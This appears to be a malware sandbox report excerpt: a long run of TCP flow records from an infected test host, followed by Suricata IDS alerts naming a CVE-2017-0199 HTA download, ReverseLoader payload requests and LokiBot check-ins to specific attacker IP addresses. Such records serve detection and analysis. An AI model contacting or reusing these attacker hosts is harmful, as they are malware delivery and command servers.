Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2858795 - Severity 1 - ETPRO MALWARE ReverseLoader Payload Request (GET) M2 : 192.168.2.22:49165 -> 192.3.176.141:80
Source: Network traffic	Suricata IDS: 2024197 - Severity 1 - ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199) : 192.3.176.141:80 -> 192.168.2.22:49164
Source: Network traffic	Suricata IDS: 2024197 - Severity 1 - ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199) : 192.3.176.141:80 -> 192.168.2.22:49162
Source: Network traffic	Suricata IDS: 2858796 - Severity 1 - ETPRO MALWARE ReverseLoader Payload Request (GET) M1 : 192.168.2.22:49176 -> 192.3.176.141:80
Source: Network traffic	Suricata IDS: 2858796 - Severity 1 - ETPRO MALWARE ReverseLoader Payload Request (GET) M1 : 192.168.2.22:49175 -> 192.3.176.141:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49182 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49182 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49182 -> 94.156.177.220:80
